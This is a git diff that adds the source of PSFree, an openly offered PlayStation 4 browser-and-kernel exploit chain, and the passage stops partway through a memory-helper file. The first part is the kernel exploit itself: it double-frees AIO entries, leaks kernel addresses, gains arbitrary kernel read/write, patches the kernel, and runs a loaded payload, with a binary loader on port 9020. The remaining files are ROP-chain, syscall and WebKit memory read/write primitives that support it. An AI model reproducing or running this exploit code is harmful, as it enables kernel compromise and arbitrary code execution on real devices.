+    chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
+
+    var pthread = malloc(0x10);
+    sysi('mlock', payload_buffer, 0x300000);
+
+    call_nze(
+        'pthread_create',
+        pthread,
+        0,
+        payload_loader,
+        payload_buffer
+    );
+
+    log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now');
+}
+
+// overview:
+// * double free a aio_entry (resides at a 0x80 malloc zone)
+// * type confuse a evf and a ip6_rthdr
+// * use evf/rthdr to read out the contents of the 0x80 malloc zone
+// * leak a address in the 0x100 malloc zone
+// * write the leaked address to a aio_entry
+// * double free the leaked address
+// * corrupt a ip6_pktopts for restricted r/w
+// * corrupt a pipe for arbitrary r/w
+//
+// the exploit implementation also assumes that we are pinned to one core
+export async function kexploit() {
+    const _init_t1 = performance.now();
+    await init();
+    const _init_t2 = performance.now();
+
+    try {
+       chain.sys('setuid', 0);
+    } catch (e) {
+        localStorage.ExploitLoaded = "no";
+    }
+    
+    if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") {
+            runBinLoader();
+            return new Promise(() => {});
+    }
+
+    // If setuid is successful, we dont need to run the kexploit again
+    try {
+        if (sysi('setuid', 0) == 0) {
+            log("Not running kexploit again.")
+            return;
+        }
+    }
+    catch (e) {}
+
+    // fun fact:
+    // if the first thing you do since boot is run the web browser, WebKit can
+    // use all the cores
+    const main_mask = new Long();
+    get_our_affinity(main_mask);
+    log(`main_mask: ${main_mask}`);
+
+    // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
+    // spraying and grooming easier
+    log(`pinning process to core #${main_core}`);
+    set_our_affinity(new Long(1 << main_core));
+    get_our_affinity(main_mask);
+    log(`main_mask: ${main_mask}`);
+
+    log("setting main thread's priority");
+    sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
+
+    const [block_fd, unblock_fd] = (() => {
+        const unix_pair = new View4(2);
+        sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
+        return unix_pair;
+    })();
+
+    const sds = [];
+    for (let i = 0; i < num_sds; i++) {
+        sds.push(new_socket());
+    }
+
+    let block_id = null;
+    let groom_ids = null;
+    try {
+        log('STAGE: Setup');
+        [block_id, groom_ids] = setup(block_fd);
+
+        log('\nSTAGE: Double free AIO queue entry');
+        const sd_pair = double_free_reqs2(sds);
+
+        log('\nSTAGE: Leak kernel addresses');
+        const [
+            reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
+        ] = leak_kernel_addrs(sd_pair);
+
+        log('\nSTAGE: Double free SceKernelAioRWRequest');
+        const [pktopts_sds, dirty_sd] = double_free_reqs1(
+            reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
+        );
+
+        log('\nSTAGE: Get arbitrary kernel read/write');
+        const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
+            pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
+
+        log('\nSTAGE: Patch kernel');
+        await patch_kernel(kbase, kmem, p_ucred, restore_info);
+        
+    } finally {
+        close(unblock_fd);
+
+        const t2 = performance.now();
+        const ftime = t2 - t1;
+        const init_time = _init_t2 - _init_t1;
+        log('\ntime (include init): ' + (ftime) / 1000);
+        log('kex time: ' + (t2 - _init_t2) / 1000);
+        log('init time: ' + (init_time) / 1000);
+        log('time to init: ' + (_init_t1 - t1) / 1000);
+        log('time - init time: ' + (ftime - init_time) / 1000);
+    }
+    close(block_fd);
+    free_aios2(groom_ids.addr, groom_ids.length);
+    aio_multi_wait(block_id.addr, 1);
+    aio_multi_delete(block_id.addr, block_id.length);
+    for (const sd of sds) {
+        close(sd);
+    }
+}
+
+function malloc(sz) {
+        var backing = new Uint8Array(0x10000 + sz);
+        nogc.push(backing);
+        var ptr = mem.readp(mem.addrof(backing).add(0x10));
+        ptr.backing = backing;
+        return ptr;
+    }
+
+    function malloc32(sz) {
+        var backing = new Uint8Array(0x10000 + sz * 4);
+        nogc.push(backing);
+        var ptr = mem.readp(mem.addrof(backing).add(0x10));
+        ptr.backing = new Uint32Array(backing.buffer);
+        return ptr;
+    }
+
+
+kexploit().then(() => {
+    
+    window.pld_size = new Int(0x26200000, 0x9);
+
+    var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
+    var payload = window.pld;
+    var bufLen = payload.length * 4
+    var payload_loader = malloc32(bufLen);
+    var loader_writer = payload_loader.backing;
+    for (var i = 0; i < payload.length; i++) {
+        loader_writer[i] = payload[i];
+    }
+    chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
+    var pthread = malloc(0x10);
+
+    call_nze(
+        'pthread_create',
+        pthread,
+        0,
+        payload_loader,
+        payload_buffer,
+    );
+
+
+    
+
+
+})
diff --git a/psfree/module/chain.mjs b/psfree/module/chain.mjs
new file mode 100644
index 0000000..3116482
--- /dev/null
+++ b/psfree/module/chain.mjs
@@ -0,0 +1,581 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+import { Int, lohi_from_one } from './int64.mjs';
+import { get_view_vector } from './memtools.mjs';
+import { Addr } from './mem.mjs';
+import * as config from '../config.mjs';
+
+// put the sycall names that you want to use here
+export const syscall_map = new Map(Object.entries({
+    'read' : 3,
+    'write' : 4,
+    'open' : 5,
+    'close' : 6,
+    'getpid' : 20,
+    'setuid' : 23,
+    'getuid' : 24,
+    'accept' : 30,
+    'pipe' : 42,
+    'ioctl' : 54,
+    'munmap' : 73,
+    'mprotect' : 74,
+    'fcntl' : 92,
+    'socket' : 97,
+    'connect' : 98,
+    'bind' : 104,
+    'setsockopt' : 105,
+    'listen' : 106,
+    'getsockopt' : 118,
+    'fchmod' : 124,
+    'socketpair' : 135,
+    'fstat' : 189,
+    'getdirentries' : 196,
+    '__sysctl' : 202,
+    'mlock' : 203,
+    'clock_gettime' : 232,
+    'nanosleep' : 240,
+    'sched_yield' : 331,
+    'kqueue' : 362,
+    'kevent' : 363,
+    'rtprio_thread' : 466,
+    'mmap' : 477,
+    'ftruncate' : 480,
+    'shm_open' : 482,
+    'cpuset_getaffinity' : 487,
+    'cpuset_setaffinity' : 488,
+    'jitshm_create' : 533,
+    'jitshm_alias' : 534,
+    'evf_create' : 538,
+    'evf_delete' : 539,
+    'evf_set' : 544,
+    'evf_clear' : 545,
+    'set_vm_container' : 559,
+    'dmem_container' : 586,
+    'dynlib_dlsym' : 591,
+    'dynlib_get_list' : 592,
+    'dynlib_get_info' : 593,
+    'dynlib_load_prx' : 594,
+    'randomized_path' : 602,
+    'budget_get_ptype' : 610,
+    'thr_suspend_ucontext' : 632,
+    'thr_resume_ucontext' : 633,
+    'blockpool_open' : 653,
+    'blockpool_map' : 654,
+    'blockpool_unmap' : 655,
+    'blockpool_batch' : 657,
+    // syscall 661 is unimplemented so free for use. a kernel exploit will
+    // install "kexec" here
+    'aio_submit' : 661,
+    'kexec' : 661,
+    'aio_multi_delete' : 662,
+    'aio_multi_wait' : 663,
+    'aio_multi_poll' : 664,
+    'aio_multi_cancel' : 666,
+    'aio_submit_cmd' : 669,
+    'blockpool_move' : 673,
+}));
+
+const argument_pops = [
+    'pop rdi; ret',
+    'pop rsi; ret',
+    'pop rdx; ret',
+    'pop rcx; ret',
+    'pop r8; ret',
+    'pop r9; ret',
+];
+
+// implementations are expected to have these gadgets:
+// * libSceLibcInternal:
+//   * __errno - FreeBSD's function to get the location of errno
+//   * setcontext - what we call Sony's own version of _Ux86_64_setcontext
+//   * getcontext - what we call Sony's own version of _Ux86_64_getcontext
+// * anywhere:
+//   * the gadgets at argument_pops
+//   * ret
+//
+// setcontext/getcontext naming came from this project:
+// https://github.com/libunwind/libunwind
+//
+// setcontext(context *ctx):
+//     mov     rax, qword [rdi + 0x38]
+//     sub     rax, 0x10 ; 16
+//     mov     qword [rdi + 0x38], rax
+//     mov     rbx, qword [rdi + 0x20]
+//     mov     qword [rax], rbx
+//     mov     rbx, qword [rdi + 0x80]
+//     mov     qword [rax + 8], rbx
+//     mov     rax, qword [rdi]
+//     mov     rbx, qword [rdi + 8]
+//     mov     rcx, qword [rdi + 0x10]
+//     mov     rdx, qword [rdi + 0x18]
+//     mov     rsi, qword [rdi + 0x28]
+//     mov     rbp, qword [rdi + 0x30]
+//     mov     r8, qword [rdi + 0x40]
+//     mov     r9, qword [rdi + 0x48]
+//     mov     r10, qword [rdi + 0x50]
+//     mov     r11, qword [rdi + 0x58]
+//     mov     r12, qword [rdi + 0x60]
+//     mov     r13, qword [rdi + 0x68]
+//     mov     r14, qword [rdi + 0x70]
+//     mov     r15, qword [rdi + 0x78]
+//     cmp     qword [rdi + 0xb0], 0x20001
+//     jne     done
+//     cmp     qword [rdi + 0xb8], 0x10002
+//     jne     done
+//     fxrstor [rdi + 0xc0]
+// done:
+//     mov     rsp, qword [rdi + 0x38]
+//     pop     rdi
+//     ret
+//
+//  getcontext(context *ctx):
+//     mov     qword [rdi], rax
+//     mov     qword [rdi + 8], rbx
+//     mov     qword [rdi + 0x10], rcx
+//     mov     qword [rdi + 0x18], rdx
+//     mov     qword [rdi + 0x20], rdi
+//     mov     qword [rdi + 0x28], rsi
+//     mov     qword [rdi + 0x30], rbp
+//     mov     qword [rdi + 0x38], rsp
+//     add     qword [rdi + 0x38], 8
+//     mov     qword [rdi + 0x40], r8
+//     mov     qword [rdi + 0x48], r9
+//     mov     qword [rdi + 0x50], r10
+//     mov     qword [rdi + 0x58], r11
+//     mov     qword [rdi + 0x60], r12
+//     mov     qword [rdi + 0x68], r13
+//     mov     qword [rdi + 0x70], r14
+//     mov     qword [rdi + 0x78], r15
+//     mov     rsi, qword [rsp]
+//     mov     qword [rdi + 0x80], rsi
+//     fxsave  [rdi + 0xc0]
+//     mov     qword [rdi + 0xb0], 0x20001
+//     mov     qword [rdi + 0xb8], 0x10002
+//     xor     eax, eax
+//     ret
+
+// ROP chain manager base class
+//
+// Args:
+//   stack_size: the size of the stack
+//   upper_pad: the amount of extra space above stack
+export class ChainBase {
+    constructor(stack_size=0x1000, upper_pad=0x10000) {
+        this._is_dirty = false;
+        this.position = 0;
+
+        const return_value = new Uint32Array(4);
+        this._return_value = return_value;
+        this.retval_addr = get_view_vector(return_value);
+
+        const errno = new Uint32Array(1);
+        this._errno = errno;
+        this.errno_addr = get_view_vector(errno);
+
+        const full_stack_size = upper_pad + stack_size;
+        const stack_buffer = new ArrayBuffer(full_stack_size);
+        const stack = new DataView(stack_buffer, upper_pad);
+        this.stack = stack;
+        this.stack_addr = get_view_vector(stack);
+        this.stack_size = stack_size;
+        this.full_stack_size = full_stack_size;
+    }
+
+    // use this if you want to write a new ROP chain but don't want to allocate
+    // a new instance
+    empty() {
+        this.position = 0;
+    }
+
+    // flag indicating whether .run() was ever called with this chain
+    get is_dirty() {
+        return this._is_dirty;
+    }
+
+    clean() {
+        this._is_dirty = false;
+    }
+
+    dirty() {
+        this._is_dirty = true;
+    }
+
+    check_allow_run() {
+        if (this.position === 0) {
+            throw Error('chain is empty');
+        }
+        if (this.is_dirty) {
+            throw Error('chain already ran, clean it first');
+        }
+    }
+
+    reset() {
+        this.empty();
+        this.clean();
+    }
+
+    get retval_int() {
+        return this._return_value[0] | 0;
+    }
+
+    get retval() {
+        return new Int(this._return_value[0], this._return_value[1]);
+    }
+
+    // return value as a pointer
+    get retval_ptr() {
+        return new Addr(this._return_value[0], this._return_value[1]);
+    }
+
+    set retval(value) {
+        const values = lohi_from_one(value);
+        const retval = this._return_value;
+        retval[0] = values[0];
+        retval[1] = values[1];
+    }
+
+    get retval_all() {
+        const retval = this._return_value;
+        return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
+    }
+
+    set retval_all(values) {
+        const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
+        const retval = this._return_value;
+        retval[0] = a[0];
+        retval[1] = a[1];
+        retval[2] = b[0];
+        retval[3] = b[1];
+    }
+
+    get errno() {
+        return this._errno[0];
+    }
+
+    set errno(value) {
+        this._errno[0] = value;
+    }
+
+    push_value(value) {
+        const position = this.position;
+        if (position >= this.stack_size) {
+            throw Error(`no more space on the stack, pushed value: ${value}`);
+        }
+
+        const values = lohi_from_one(value);
+        const stack = this.stack;
+        stack.setUint32(position, values[0], true);
+        stack.setUint32(position + 4, values[1], true);
+
+        this.position += 8;
+    }
+
+    get_gadget(insn_str) {
+        const addr = this.gadgets.get(insn_str);
+        if (addr === undefined) {
+            throw Error(`gadget not found: ${insn_str}`);
+        }
+
+        return addr;
+    }
+
+    push_gadget(insn_str) {
+        this.push_value(this.get_gadget(insn_str));
+    }
+
+    push_call(func_addr, ...args) {
+        if (args.length > 6) {
+            throw TypeError(
+                'push_call() does not support functions that have more than 6'
+                + ' arguments');
+        }
+
+        for (let i = 0; i < args.length; i++) {
+            this.push_gadget(argument_pops[i]);
+            this.push_value(args[i]);
+        }
+
+        // The address of our buffer seems to be always aligned to 8 bytes.
+        // SysV calling convention requires the stack is aligned to 16 bytes on
+        // function entry, so push an additional 8 bytes to pad the stack. We
+        // pushed a "ret" gadget for a noop.
+        if ((this.position & (0x10 - 1)) !== 0) {
+            this.push_gadget('ret');
+        }
+
+        if (typeof func_addr === 'string') {
+            this.push_gadget(func_addr);
+        } else {
+            this.push_value(func_addr);
+        }
+    }
+
+    push_syscall(syscall_name, ...args) {
+        if (typeof syscall_name !== 'string') {
+            throw TypeError(`syscall_name not a string: ${syscall_name}`);
+        }
+
+        const sysno = syscall_map.get(syscall_name);
+        if (sysno === undefined) {
+            throw Error(`syscall_name not found: ${syscall_name}`);
+        }
+
+        const syscall_addr = this.syscall_array[sysno];
+        if (syscall_addr === undefined) {
+            throw Error(`syscall number not in syscall_array: ${sysno}`);
+        }
+
+        this.push_call(syscall_addr, ...args);
+    }
+
+    // Sets needed class properties
+    //
+    // Args:
+    //   gadgets:
+    //     A Map-like object mapping instruction strings (e.g. "pop rax; ret")
+    //     to their addresses in memory.
+    //   syscall_array:
+    //     An array whose indices correspond to syscall numbers. Maps syscall
+    //     numbers to their addresses in memory. Defaults to an empty Array.
+    static init_class(gadgets, syscall_array=[]) {
+        this.prototype.gadgets = gadgets;
+        this.prototype.syscall_array = syscall_array;
+    }
+
+    // START: implementation-dependent parts
+    //
+    // the user doesn't need to implement all of these. just the ones they need
+
+    // Firmware specific method to launch a ROP chain
+    //
+    // Proper implementations will check if .position is nonzero before
+    // running. Implementations can optionally check .is_dirty to enforce
+    // single-run gadget sequences
+    run() {
+        throw Error('not implemented');
+    }
+
+    // anything you need to do before the ROP chain jumps back to JavaScript
+    push_end() {
+        throw Error('not implemented');
+    }
+
+    push_get_errno() {
+        throw Error('not implemented');
+    }
+
+    push_clear_errno() {
+        throw Error('not implemented'); 
+    }
+
+    // get the rax register
+    push_get_retval() {
+        throw Error('not implemented');
+    }
+
+    // get the rax and rdx registers
+    push_get_retval_all() {
+        throw Error('not implemented');
+    }
+
+    // END: implementation-dependent parts
+
+    // note that later firmwares (starting around > 5.00?), the browser doesn't
+    // have a JIT compiler. we programmed in a way that tries to make the
+    // resulting bytecode be optimal
+    //
+    // we intentionally have an incomplete set (there's no function to get a
+    // full 128-bit result). we only implemented what we think are the common
+    // cases. the user will have to implement those other functions if they
+    // need it
+
+    do_call(...args) {
+        if (this.position) {
+            throw Error('chain not empty');
+        }
+        try {
+            this.push_call(...args);
+            this.push_get_retval();
+            this.push_get_errno();
+            this.push_end();
+            this.run();
+        } finally {
+            this.reset();
+        }
+    }
+
+    call_void(...args) {
+        this.do_call(...args);
+    }
+
+    call_int(...args) {
+        this.do_call(...args);
+        // x | 0 will always be a signed integer
+        return this._return_value[0] | 0;
+    }
+
+    call(...args) {
+        this.do_call(...args);
+        const retval = this._return_value;
+        return new Int(retval[0], retval[1]);
+    }
+
+    do_syscall(...args) {
+        if (this.position) {
+            throw Error('chain not empty');
+        }
+        try {
+            this.push_syscall(...args);
+            this.push_get_retval();
+            this.push_get_errno();
+            this.push_end();
+            this.run();
+        } finally {
+            this.reset();
+        }
+    }
+
+    syscall_void(...args) {
+        this.do_syscall(...args);
+    }
+
+    syscall_int(...args) {
+        this.do_syscall(...args);
+        // x | 0 will always be a signed integer
+        return this._return_value[0] | 0;
+    }
+
+    syscall(...args) {
+        this.do_syscall(...args);
+        const retval = this._return_value;
+        return new Int(retval[0], retval[1]);
+    }
+
+    syscall_ptr(...args) {
+        this.do_syscall(...args);
+        const retval = this._return_value;
+        return new Addr(retval[0], retval[1]);
+    }
+
+    // syscall variants that throw an error on errno
+
+    do_syscall_clear_errno(...args) {
+        if (this.position) {
+            throw Error('chain not empty');
+        }
+        try {
+            this.push_clear_errno();
+            this.push_syscall(...args);
+            this.push_get_retval();
+            this.push_get_errno();
+            this.push_end();
+            this.run();
+        } finally {
+            this.reset();
+        }
+    }
+
+    sysi(...args) {
+        const errno = this._errno;
+        this.do_syscall_clear_errno(...args);
+
+        const err = errno[0];
+        if (err !== 0) {
+            throw Error(`syscall(${args[0]}) errno: ${err}`);
+        }
+
+        // x | 0 will always be a signed integer
+        return this._return_value[0] | 0;
+    }
+
+    sys(...args) {
+        const errno = this._errno;
+        this.do_syscall_clear_errno(...args);
+
+        const err = errno[0];
+        if (err !== 0) {
+            throw Error(`syscall(${args[0]}) errno: ${err}`);
+        }
+
+        const retval = this._return_value;
+        return new Int(retval[0], retval[1]);
+    }
+
+    sysp(...args) {
+        const errno = this._errno;
+        this.do_syscall_clear_errno(...args);
+
+        const err = errno[0];
+        if (err !== 0) {
+            throw Error(`syscall(${args[0]}) errno: ${err}`);
+        }
+
+        const retval = this._return_value;
+        return new Addr(retval[0], retval[1]);
+    }
+
+}
+
+export function get_gadget(map, insn_str) {
+    const addr = map.get(insn_str);
+    if (addr === undefined) {
+        throw Error(`gadget not found: ${insn_str}`);
+    }
+
+    return addr;
+}
+
+function load_fw_specific(version) {
+    if (version & 0x10000) {
+        throw RangeError('ps5 not supported yet');
+    }
+
+    const value = version & 0xffff;
+    // we don't want to bother with very old firmwares that don't support
+    // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
+    // which can be annoying to deal with
+    if (value < 0x700) {
+        throw RangeError("PS4 firmwares < 7.00 isn't supported");
+    }
+
+    if (0x800 <= value && value <= 0x900) {
+        return import('../rop/900.mjs');
+    }
+
+    throw RangeError('firmware not supported');
+}
+
+export let gadgets = null;
+export let libwebkit_base = null;
+export let libkernel_base = null;
+export let libc_base = null;
+export let init_gadget_map = null;
+export let Chain = null;
+
+export async function init() {
+    const module = await load_fw_specific(config.target);
+    Chain = module.Chain;
+    module.init(Chain);
+    ({
+        gadgets,
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+        init_gadget_map,
+    } = module);
+}
diff --git a/psfree/module/constants.mjs b/psfree/module/constants.mjs
new file mode 100644
index 0000000..268f079
--- /dev/null
+++ b/psfree/module/constants.mjs
@@ -0,0 +1,20 @@
+/* Copyright (C) 2023 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+export const KB = 1024;
+export const MB = KB * KB;
+export const GB = KB * KB * KB;
diff --git a/psfree/module/int64.mjs b/psfree/module/int64.mjs
new file mode 100644
index 0000000..248872e
--- /dev/null
+++ b/psfree/module/int64.mjs
@@ -0,0 +1,133 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+// cache some constants
+const isInteger = Number.isInteger;
+
+function check_not_in_range(x) {
+    return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
+}
+
+// use this if you want to support objects convertible to Int but only need
+// their low/high bits. creating a Int is slower compared to just using this
+// function
+export function lohi_from_one(low) {
+    if (low instanceof Int) {
+        return low._u32.slice();
+    }
+
+    if (check_not_in_range(low)) {
+        throw TypeError(`low not a 32-bit integer: ${low}`);
+    }
+
+    return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
+}
+
+// immutable 64-bit integer
+export class Int {
+    constructor(low, high) {
+        if (high === undefined) {
+            this._u32 = new Uint32Array(lohi_from_one(low));
+            return;
+        }
+
+        if (check_not_in_range(low)) {
+            throw TypeError(`low not a 32-bit integer: ${low}`);
+        }
+
+        if (check_not_in_range(high)) {
+            throw TypeError(`high not a 32-bit integer: ${high}`);
+        }
+
+        this._u32 = new Uint32Array([low, high]);
+    }
+
+    get lo() {
+        return this._u32[0];
+    }
+
+    get hi() {
+        return this._u32[1];
+    }
+
+    // return low/high as signed integers
+
+    get bot() {
+        return this._u32[0] | 0;
+    }
+
+    get top() {
+        return this._u32[1] | 0;
+    }
+
+    neg() {
+        const u32 = this._u32;
+        const low = (~u32[0] >>> 0) + 1;
+        return new this.constructor(
+            low >>> 0,
+            ((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
+        );
+    }
+
+    eq(b) {
+        const values = lohi_from_one(b);
+        const u32 = this._u32;
+        return (
+            u32[0] === values[0]
+            && u32[1] === values[1]
+        );
+    }
+
+    ne(b) {
+        return !this.eq(b);
+    }
+
+    add(b) {
+        const values = lohi_from_one(b);
+        const u32 = this._u32;
+        const low = u32[0] + values[0];
+        return new this.constructor(
+            low >>> 0,
+            (u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
+        );
+    }
+
+    sub(b) {
+        const values = lohi_from_one(b);
+        const u32 = this._u32;
+        const low = u32[0] + (~values[0] >>> 0) + 1;
+        return new this.constructor(
+            low >>> 0,
+            (u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
+        );
+    }
+
+    toString(is_pretty=false) {
+        if (!is_pretty) {
+            const low = this.lo.toString(16).padStart(8, '0');
+            const high = this.hi.toString(16).padStart(8, '0');
+            return '0x' + high + low;
+        }
+        let high = this.hi.toString(16).padStart(8, '0');
+        high = high.substring(0, 4) + '_' + high.substring(4);
+
+        let low = this.lo.toString(16).padStart(8, '0');
+        low = low.substring(0, 4) + '_' + low.substring(4);
+
+        return '0x' + high + '_' + low;
+    }
+}
diff --git a/psfree/module/mem.mjs b/psfree/module/mem.mjs
new file mode 100644
index 0000000..2620230
--- /dev/null
+++ b/psfree/module/mem.mjs
@@ -0,0 +1,430 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+import { Int, lohi_from_one } from './int64.mjs';
+import { view_m_vector, view_m_length } from './offset.mjs';
+
+export let mem = null;
+
+// cache some constants
+const off_vector = view_m_vector / 4;
+const off_vector2 = (view_m_vector + 4) / 4;
+const isInteger = Number.isInteger;
+
+function init_module(memory) {
+    mem = memory;
+}
+
+function add_and_set_addr(mem, offset, base_lo, base_hi) {
+    const values = lohi_from_one(offset);
+    const main = mem._main;
+
+    const low = base_lo + values[0];
+
+    // no need to use ">>> 0" to convert to unsigned here
+    main[off_vector] = low;
+    main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
+}
+
+export class Addr extends Int {
+    read8(offset) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        return m.read8_at(offset);
+    }
+
+    read16(offset) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        return m.read16_at(offset);
+    }
+
+    read32(offset) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        return m.read32_at(offset);
+    }
+
+    read64(offset) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        return m.read64_at(offset);
+    }
+
+    readp(offset) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        return m.readp_at(offset);
+    }
+
+    write8(offset, value) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        m.write8_at(offset, value);
+    }
+
+    write16(offset, value) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        m.write16_at(offset, value);
+    }
+
+    write32(offset, value) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        m.write32_at(offset, value);
+    }
+
+    write64(offset, value) {
+        const m = mem;
+        if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
+            m._set_addr_direct(this);
+        } else {
+            add_and_set_addr(m, offset, this.lo, this.hi);
+            offset = 0;
+        }
+
+        m.write64_at(offset, value);
+    }
+}
+
+// expected:
+// * main - Uint32Array whose m_vector points to worker
+// * worker - DataView
+//
+// addrof()/fakeobj() expectations:
+// * obj - has a "addr" property and a 0 index.
+// * addr_addr - Int, the address of the slot of obj.addr
+// * fake_addr - Int, the address of the slot of obj[0]
+//
+// a valid example for "obj" is "{addr: null, 0: 0}". note that this example
+// has [0] be 0 so that the butterfly's indexing type is ArrayWithInt32. this
+// prevents the garbage collector from incorrectly treating the slot's value as
+// a JSObject and then crash
+//
+// the relative read/write methods expect the offset to be a unsigned 32-bit
+// integer
+export class Memory {
+    constructor(main, worker, obj, addr_addr, fake_addr)  {
+        this._main = main;
+        this._worker = worker;
+        this._obj = obj;
+        this._addr_low = addr_addr.lo;
+        this._addr_high = addr_addr.hi;
+        this._fake_low = fake_addr.lo;
+        this._fake_high = fake_addr.hi;
+
+        main[view_m_length / 4] = 0xffffffff;
+
+        init_module(this);
+
+        const off_mvec = view_m_vector;
+        // use this to create WastefulTypedArrays to avoid a GC crash
+        const buf = new ArrayBuffer(0);
+
+        const src = new Uint8Array(buf);
+        const sset = new Uint32Array(buf);
+        const sset_p = this.addrof(sset);
+        sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
+        sset_p.write32(view_m_length, 3);
+        this._cpysrc = src;
+        this._src_setter = sset;
+
+        const dst = new Uint8Array(buf);
+        const dset = new Uint32Array(buf);
+        const dset_p = this.addrof(dset);
+        dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
+        dset_p.write32(view_m_length, 3);
+        dset[2] = 0xffffffff;
+        this._cpydst = dst;
+        this._dst_setter = dset;
+    }
+
+    // dst and src may overlap
+    cpy(dst, src, len) {
+        if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
+            throw TypeError('len not a unsigned 32-bit integer');
+        }
+
+        const dvals = lohi_from_one(dst);
+        const svals = lohi_from_one(src);
+        const dset = this._dst_setter;
+        const sset = this._src_setter;
+
+        dset[0] = dvals[0];
+        dset[1] = dvals[1];
+        sset[0] = svals[0];
+        sset[1] = svals[1];
+        sset[2] = len;
+
+        this._cpydst.set(this._cpysrc);
+    }
+
+    // allocate Garbage Collector managed memory. returns [address_of_memory,
+    // backer]. backer is the JSCell that is keeping the returned memory alive,
+    // you can drop it once you have another GC object reference the address.
+    // the backer is an implementation detail. don't use it to mutate the
+    // memory
+    gc_alloc(size) {
+        if (!isInteger(size)) {
+            throw TypeError('size not a integer');
+        }
+        if (size < 0) {
+            throw RangeError('size is negative');
+        }
+
+        const fastLimit = 1000;
+        size = (size + 7 & ~7) >> 3;
+        if (size > fastLimit) {
+            throw RangeError('size is too large');
+        }
+
+        const backer = new Float64Array(size);
